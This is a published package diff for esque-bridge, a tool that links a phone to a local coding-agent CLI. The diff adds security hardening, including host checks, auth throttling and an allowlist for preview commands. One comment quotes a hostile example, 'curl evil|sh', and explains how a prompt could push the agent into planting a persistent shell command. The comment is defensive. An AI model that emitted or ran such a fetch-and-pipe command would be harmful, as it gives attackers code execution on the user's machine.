esque-bridge 0.6.11 → 0.6.13
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +162 -19
- package/package.json +1 -1
package/index.js
CHANGED
|
@@ -92,6 +92,12 @@ const BIN_OVERRIDE = argv.bin || null;
|
|
|
92
92
|
const LT_SUBDOMAIN = argv.subdomain || process.env.LT_SUBDOMAIN || undefined;
|
|
93
93
|
const SESSIONS_FILE = path.join(os.homedir(), '.esque-bridge-sessions.json');
|
|
94
94
|
const SECRET_FILE = path.join(os.homedir(), '.esque-bridge-secret');
|
|
95
|
+
// Where to announce the current tunnel URL so the phone can rediscover it
|
|
96
|
+
// after a restart rotates the cloudflared URL. Best-effort — QR pairing works
|
|
97
|
+
// without it. Override for self-hosters via --backend / ESQUE_BACKEND_URL.
|
|
98
|
+
const BACKEND_URL = String(
|
|
99
|
+
argv.backend || process.env.ESQUE_BACKEND_URL || 'https://esque-backend-production.up.railway.app',
|
|
100
|
+
).replace(/\/+$/, '');
|
|
95
101
|
|
|
96
102
|
// Pairing secret. Persisted across restarts so a routine bridge restart
|
|
97
103
|
// doesn't silently invalidate the phone's pairing (the #1 real-world
|
|
@@ -110,6 +116,9 @@ function resolvePairingSecret() {
|
|
|
110
116
|
const secret = gen();
|
|
111
117
|
try {
|
|
112
118
|
fs.writeFileSync(SECRET_FILE, secret, { mode: 0o600 });
|
|
119
|
+
// Re-assert perms explicitly (writeFileSync mode is masked by umask, and a
|
|
120
|
+
// pre-existing file keeps its old perms) — this is an RCE-grade secret.
|
|
121
|
+
try { fs.chmodSync(SECRET_FILE, 0o600); } catch { /* best effort */ }
|
|
113
122
|
} catch (err) {
|
|
114
123
|
console.warn(
|
|
115
124
|
`[esque-bridge] could not persist pair secret to ${SECRET_FILE} ` +
|
|
@@ -549,10 +558,77 @@ app.use((req, res, next) => {
|
|
|
549
558
|
next();
|
|
550
559
|
});
|
|
551
560
|
|
|
561
|
+
// The current public tunnel host, set once the pair tunnel opens (see main).
|
|
562
|
+
let currentTunnelHost = null;
|
|
563
|
+
|
|
564
|
+
// DNS-rebinding guard. Legit traffic arrives either at localhost (local dev) or
|
|
565
|
+
// via the cloudflared/localtunnel host; a malicious web page that rebinds its
|
|
566
|
+
// OWN domain to 127.0.0.1:<port> cannot forge a matching Host header, so this
|
|
567
|
+
// blocks it from reaching even the unauthenticated probes (which would
|
|
568
|
+
// otherwise disclose the workdir folder name etc.).
|
|
569
|
+
const LOCAL_HOST_RE = /^(localhost|127\.0\.0\.1|\[::1\])(:\d+)?$/i;
|
|
570
|
+
const TUNNEL_HOST_RE = /\.(trycloudflare\.com|loca\.lt)(:\d+)?$/i;
|
|
571
|
+
app.use((req, res, next) => {
|
|
572
|
+
const host = String(req.headers.host || '');
|
|
573
|
+
if (
|
|
574
|
+
LOCAL_HOST_RE.test(host) ||
|
|
575
|
+
TUNNEL_HOST_RE.test(host) ||
|
|
576
|
+
(currentTunnelHost && host === currentTunnelHost)
|
|
577
|
+
) {
|
|
578
|
+
return next();
|
|
579
|
+
}
|
|
580
|
+
return res.status(403).json({ error: 'forbidden_host' });
|
|
581
|
+
});
|
|
582
|
+
|
|
583
|
+
// Real client IP behind the tunnel (cloudflared/localtunnel forward it) so the
|
|
584
|
+
// auth throttle is per-attacker, not global (which an attacker could otherwise
|
|
585
|
+
// abuse to lock out the legit phone).
|
|
586
|
+
function clientIp(req) {
|
|
587
|
+
return (
|
|
588
|
+
req.headers['cf-connecting-ip'] ||
|
|
589
|
+
String(req.headers['x-forwarded-for'] || '').split(',')[0].trim() ||
|
|
590
|
+
req.ip ||
|
|
591
|
+
req.socket?.remoteAddress ||
|
|
592
|
+
'unknown'
|
|
593
|
+
);
|
|
594
|
+
}
|
|
595
|
+
|
|
596
|
+
// Constant-time secret check (avoid a string-compare timing side-channel — the
|
|
597
|
+
// secret is the only thing standing between the public tunnel and your shell).
|
|
598
|
+
function secretMatches(provided) {
|
|
599
|
+
if (typeof provided !== 'string' || provided.length === 0) return false;
|
|
600
|
+
const a = Buffer.from(provided);
|
|
601
|
+
const b = Buffer.from(PAIRING_SECRET);
|
|
602
|
+
return a.length === b.length && crypto.timingSafeEqual(a, b);
|
|
603
|
+
}
|
|
604
|
+
|
|
605
|
+
// Per-IP failed-auth throttle: 128-bit secrets are infeasible to brute force,
|
|
606
|
+
// but a lockout makes that hold even if the entropy ever drops, and stops a
|
|
607
|
+
// noisy guesser hammering the bridge.
|
|
608
|
+
const authFails = new Map();
|
|
609
|
+
const AUTH_FAIL_MAX = 20;
|
|
610
|
+
const AUTH_FAIL_WINDOW = 60_000;
|
|
611
|
+
function authThrottled(ip) {
|
|
612
|
+
const now = Date.now();
|
|
613
|
+
const e = authFails.get(ip);
|
|
614
|
+
return !!e && e.resetAt > now && e.n >= AUTH_FAIL_MAX;
|
|
615
|
+
}
|
|
616
|
+
function noteAuthFail(ip) {
|
|
617
|
+
const now = Date.now();
|
|
618
|
+
if (authFails.size > 5000) for (const [k, v] of authFails) if (v.resetAt <= now) authFails.delete(k);
|
|
619
|
+
const e = authFails.get(ip);
|
|
620
|
+
if (!e || e.resetAt <= now) authFails.set(ip, { n: 1, resetAt: now + AUTH_FAIL_WINDOW });
|
|
621
|
+
else e.n += 1;
|
|
622
|
+
}
|
|
623
|
+
|
|
552
624
|
// Directory identity the app binds a project to. Lets the phone detect when a
|
|
553
|
-
// project is being re-pointed at a DIFFERENT folder
|
|
554
|
-
//
|
|
555
|
-
|
|
625
|
+
// project is being re-pointed at a DIFFERENT folder. UNAUTHENTICATED callers
|
|
626
|
+
// get only the folder NAME + version — never the absolute path (it leaks the OS
|
|
627
|
+
// username) or the directory contents.
|
|
628
|
+
function workdirInfo(authed) {
|
|
629
|
+
if (!authed) {
|
|
630
|
+
return { workdirName: path.basename(WORKDIR), version: BRIDGE_VERSION };
|
|
631
|
+
}
|
|
556
632
|
let empty = false;
|
|
557
633
|
let git = false;
|
|
558
634
|
let entries = -1;
|
|
@@ -570,42 +646,42 @@ function workdirInfo() {
|
|
|
570
646
|
empty,
|
|
571
647
|
git,
|
|
572
648
|
entries,
|
|
573
|
-
// Lets the app detect a stale bridge and say "restart your bridge"
|
|
574
|
-
// instead of silently degrading (older bridges lack newer self-healing).
|
|
575
649
|
version: BRIDGE_VERSION,
|
|
576
650
|
};
|
|
577
651
|
}
|
|
578
652
|
|
|
579
|
-
// Public health probe.
|
|
653
|
+
// Public health probe — minimal, unauthenticated.
|
|
580
654
|
app.get('/', (_req, res) => {
|
|
581
655
|
res.json({
|
|
582
656
|
ok: true,
|
|
583
657
|
service: 'esque-bridge',
|
|
584
658
|
agent: AGENT_TYPE,
|
|
585
659
|
agentLabel: adapter.label,
|
|
586
|
-
|
|
587
|
-
...workdirInfo(),
|
|
660
|
+
...workdirInfo(false),
|
|
588
661
|
});
|
|
589
662
|
});
|
|
590
663
|
|
|
591
|
-
// Connection-test probe — no auth required to confirm reachability, but if
|
|
592
|
-
//
|
|
593
|
-
//
|
|
594
|
-
//
|
|
595
|
-
// null (no secret sent — older app builds; we can't say either way). We also
|
|
596
|
-
// return workdir identity so the app can warn on a folder mismatch.
|
|
664
|
+
// Connection-test probe — no auth required to confirm reachability, but if the
|
|
665
|
+
// phone includes the pair secret we validate it and report `paired` so the app
|
|
666
|
+
// can verify BEFORE showing green. Full workdir identity (path, git, entries)
|
|
667
|
+
// is returned ONLY when the secret matches (paired === true).
|
|
597
668
|
app.post('/', (req, res, next) => {
|
|
598
669
|
if (req.body && req.body._probe === true) {
|
|
599
670
|
const provided = req.header('x-esque-pair') || req.body?.pairSecret;
|
|
600
|
-
const paired = provided == null ? null : provided
|
|
601
|
-
return res.json({ ok: true, service: 'esque-bridge', agent: AGENT_TYPE, paired, ...workdirInfo() });
|
|
671
|
+
const paired = provided == null ? null : secretMatches(provided);
|
|
672
|
+
return res.json({ ok: true, service: 'esque-bridge', agent: AGENT_TYPE, paired, ...workdirInfo(paired === true) });
|
|
602
673
|
}
|
|
603
674
|
return next();
|
|
604
675
|
});
|
|
605
676
|
|
|
606
677
|
function requireAuth(req, res, next) {
|
|
678
|
+
const ip = clientIp(req);
|
|
679
|
+
if (authThrottled(ip)) {
|
|
680
|
+
return res.status(429).json({ text: 'Too many attempts — wait a minute and try again.', status: 'blocked' });
|
|
681
|
+
}
|
|
607
682
|
const provided = req.header('x-esque-pair') || req.body?.pairSecret;
|
|
608
|
-
if (provided
|
|
683
|
+
if (!secretMatches(provided)) {
|
|
684
|
+
noteAuthFail(ip);
|
|
609
685
|
return res.status(401).json({
|
|
610
686
|
text:
|
|
611
687
|
'Unauthorized. Pair this bridge with your phone by scanning the QR code from the terminal where esque-bridge is running.',
|
|
@@ -638,7 +714,30 @@ let preview = null; // { port, proc, kind, url, tunnel, tunnelProc }
|
|
|
638
714
|
// revive the dev server + mint a fresh tunnel — the phone then resolves the
|
|
639
715
|
// current URL via GET /preview instead of trusting the dead one.
|
|
640
716
|
const PREVIEWS_FILE = path.join(os.homedir(), '.esque-bridge-previews.json');
|
|
717
|
+
|
|
718
|
+
// SECURITY: the preview command comes from the agent's reply (the ESQUE_PREVIEW
|
|
719
|
+
// marker) and is run via `sh -c` — and persisted + auto-replayed on every
|
|
720
|
+
// restart. Without a guard, a single prompt could plant
|
|
721
|
+
// `ESQUE_PREVIEW: curl evil|sh` as a persistent, headless RCE. So we only ever
|
|
722
|
+
// run/persist a command that looks like a real dev-server start: each
|
|
723
|
+
// `&&`-separated step must begin with an allowlisted tool, and the whole
|
|
724
|
+
// string must be free of pipes, redirects, sequencing, subshells, and command
|
|
725
|
+
// substitution (we DO allow `&&` chaining and flags). This bounds it to the
|
|
726
|
+
// shapes the blueprints actually emit (npm/npx expo/next/vite) and rejects the
|
|
727
|
+
// arbitrary-shell case.
|
|
728
|
+
const PREVIEW_TOOL = /^(npm|npx|yarn|pnpm|bun|expo|next|vite|node)(\s|$)/;
|
|
729
|
+
function isSafePreviewCmd(cmd) {
|
|
730
|
+
if (typeof cmd !== 'string' || cmd.length === 0 || cmd.length > 400) return false;
|
|
731
|
+
if (/[\n\r;`|<>]/.test(cmd)) return false; // sequencing/pipe/redirect/backtick
|
|
732
|
+
if (/\$\(|\$\{/.test(cmd)) return false; // command/var substitution
|
|
733
|
+
if (/(^|[^&])&($|[^&])/.test(cmd)) return false; // a lone & (background); && is allowed
|
|
734
|
+
const steps = cmd.split('&&').map((s) => s.trim()).filter(Boolean);
|
|
735
|
+
if (steps.length === 0 || steps.length > 6) return false;
|
|
736
|
+
return steps.every((s) => PREVIEW_TOOL.test(s));
|
|
737
|
+
}
|
|
738
|
+
|
|
641
739
|
function savePreviewCmd(cmd, port) {
|
|
740
|
+
if (!isSafePreviewCmd(cmd)) return; // never persist an un-vettable command
|
|
642
741
|
try {
|
|
643
742
|
let all = {};
|
|
644
743
|
try { all = JSON.parse(fs.readFileSync(PREVIEWS_FILE, 'utf8')); } catch { /* first run */ }
|
|
@@ -652,7 +751,9 @@ function loadPreviewCmd() {
|
|
|
652
751
|
try {
|
|
653
752
|
const all = JSON.parse(fs.readFileSync(PREVIEWS_FILE, 'utf8'));
|
|
654
753
|
const e = all[WORKDIR];
|
|
655
|
-
|
|
754
|
+
// Re-validate on read too — a hand-edited or pre-guard previews file must
|
|
755
|
+
// not auto-replay something unsafe on boot.
|
|
756
|
+
if (e && isSafePreviewCmd(e.cmd) && Number.isInteger(e.port)) return e;
|
|
656
757
|
} catch { /* none saved */ }
|
|
657
758
|
return null;
|
|
658
759
|
}
|
|
@@ -938,6 +1039,12 @@ async function ensureDeps() {
|
|
|
938
1039
|
|
|
939
1040
|
async function startPreview(cmd, port) {
|
|
940
1041
|
killPreview();
|
|
1042
|
+
// SECURITY: refuse any preview command that isn't a recognizable dev-server
|
|
1043
|
+
// start (see isSafePreviewCmd) — never hand arbitrary shell to `sh -c`.
|
|
1044
|
+
if (!isSafePreviewCmd(cmd)) {
|
|
1045
|
+
console.error(`[preview] refused unsafe preview command: ${String(cmd).slice(0, 120)}`);
|
|
1046
|
+
return { url: null, buildError: 'Esque only runs a recognized dev-server start command for the preview (npm/expo/next/vite). The requested command was refused for safety.' };
|
|
1047
|
+
}
|
|
941
1048
|
// Make sure node_modules exists before the dev server tries to boot. A
|
|
942
1049
|
// failed install IS the build error — surface the npm cause to the phone
|
|
943
1050
|
// (and the auto-fix loop, which can repair package.json) instead of letting
|
|
@@ -1448,6 +1555,8 @@ async function main() {
|
|
|
1448
1555
|
if (tunnel.kind === 'localtunnel') {
|
|
1449
1556
|
console.log(' (Using localtunnel — install cloudflared for a faster, steadier tunnel: brew install cloudflared)');
|
|
1450
1557
|
}
|
|
1558
|
+
// Allow this tunnel's host through the DNS-rebinding guard.
|
|
1559
|
+
try { currentTunnelHost = new URL(tunnel.url).host; } catch { /* keep null */ }
|
|
1451
1560
|
|
|
1452
1561
|
const pairUrl = `esque://pair?url=${encodeURIComponent(tunnel.url)}&secret=${PAIRING_SECRET}&agent=${AGENT_TYPE}`;
|
|
1453
1562
|
|
|
@@ -1477,21 +1586,55 @@ async function main() {
|
|
|
1477
1586
|
// after a restart (the app asks GET /preview for the fresh URL).
|
|
1478
1587
|
if (loadPreviewCmd()) revivePreview();
|
|
1479
1588
|
|
|
1589
|
+
// Announce this tunnel URL to the backend, keyed by the persistent secret,
|
|
1590
|
+
// so the phone can rediscover it after a restart rotates the URL — then
|
|
1591
|
+
// refresh on a heartbeat so the mapping never expires while we're alive.
|
|
1592
|
+
// Entirely best-effort: a down/unreachable backend never affects pairing or
|
|
1593
|
+
// prompts (the QR already carries this URL for the current session).
|
|
1594
|
+
const announce = async () => {
|
|
1595
|
+
try {
|
|
1596
|
+
await fetch(`${BACKEND_URL}/v1/bridge/announce`, {
|
|
1597
|
+
method: 'POST',
|
|
1598
|
+
headers: { 'content-type': 'application/json' },
|
|
1599
|
+
body: JSON.stringify({ secret: PAIRING_SECRET, url: tunnel.url, agent: AGENT_TYPE }),
|
|
1600
|
+
signal: AbortSignal.timeout(8000),
|
|
1601
|
+
});
|
|
1602
|
+
} catch {
|
|
1603
|
+
/* best-effort rendezvous */
|
|
1604
|
+
}
|
|
1605
|
+
};
|
|
1606
|
+
announce();
|
|
1607
|
+
const announceTimer = setInterval(announce, 45_000);
|
|
1608
|
+
announceTimer.unref?.();
|
|
1609
|
+
|
|
1480
1610
|
let shuttingDown = false;
|
|
1481
1611
|
const shutdown = (signal) => {
|
|
1482
1612
|
shuttingDown = true;
|
|
1483
1613
|
console.log(`\n Received ${signal} — closing tunnel…`);
|
|
1614
|
+
clearInterval(announceTimer);
|
|
1484
1615
|
// The agent runs detached in its own process group, so the terminal's
|
|
1485
1616
|
// Ctrl-C does NOT reach it — stop it explicitly or it keeps editing
|
|
1486
1617
|
// files with no bridge attached.
|
|
1487
1618
|
try { activeAgentKill && activeAgentKill('SIGTERM'); } catch { /* already gone */ }
|
|
1488
1619
|
killPreview();
|
|
1620
|
+
// Best-effort deregister so the phone learns we're down right away rather
|
|
1621
|
+
// than after the rendezvous TTL. Fire-and-forget — don't delay exit on it.
|
|
1622
|
+
try {
|
|
1623
|
+
fetch(`${BACKEND_URL}/v1/bridge/forget`, {
|
|
1624
|
+
method: 'POST',
|
|
1625
|
+
headers: { 'content-type': 'application/json' },
|
|
1626
|
+
body: JSON.stringify({ secret: PAIRING_SECRET }),
|
|
1627
|
+
signal: AbortSignal.timeout(2000),
|
|
1628
|
+
}).catch(() => undefined);
|
|
1629
|
+
} catch { /* ignore */ }
|
|
1489
1630
|
try {
|
|
1490
1631
|
tunnel.close();
|
|
1491
1632
|
} catch {
|
|
1492
1633
|
/* tunnel may already be closed */
|
|
1493
1634
|
}
|
|
1494
|
-
|
|
1635
|
+
// Give the forget() a brief moment to flush, then exit regardless.
|
|
1636
|
+
setTimeout(() => process.exit(0), 250);
|
|
1637
|
+
return;
|
|
1495
1638
|
};
|
|
1496
1639
|
process.on('SIGINT', () => shutdown('SIGINT'));
|
|
1497
1640
|
process.on('SIGTERM', () => shutdown('SIGTERM'));
|
package/package.json
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "esque-bridge",
|
|
3
|
-
"version": "0.6.
|
|
3
|
+
"version": "0.6.13",
|
|
4
4
|
"description": "Desktop-side receiver for the Esque Agent mobile app. Pairs your phone with a local coding-agent CLI (Claude Code, Codex, Aider, or any custom command) via a tunnel + QR code, so prompts run through your subscription instead of per-token API billing.",
|
|
5
5
|
"bin": {
|
|
6
6
|
"esque-bridge": "index.js"
|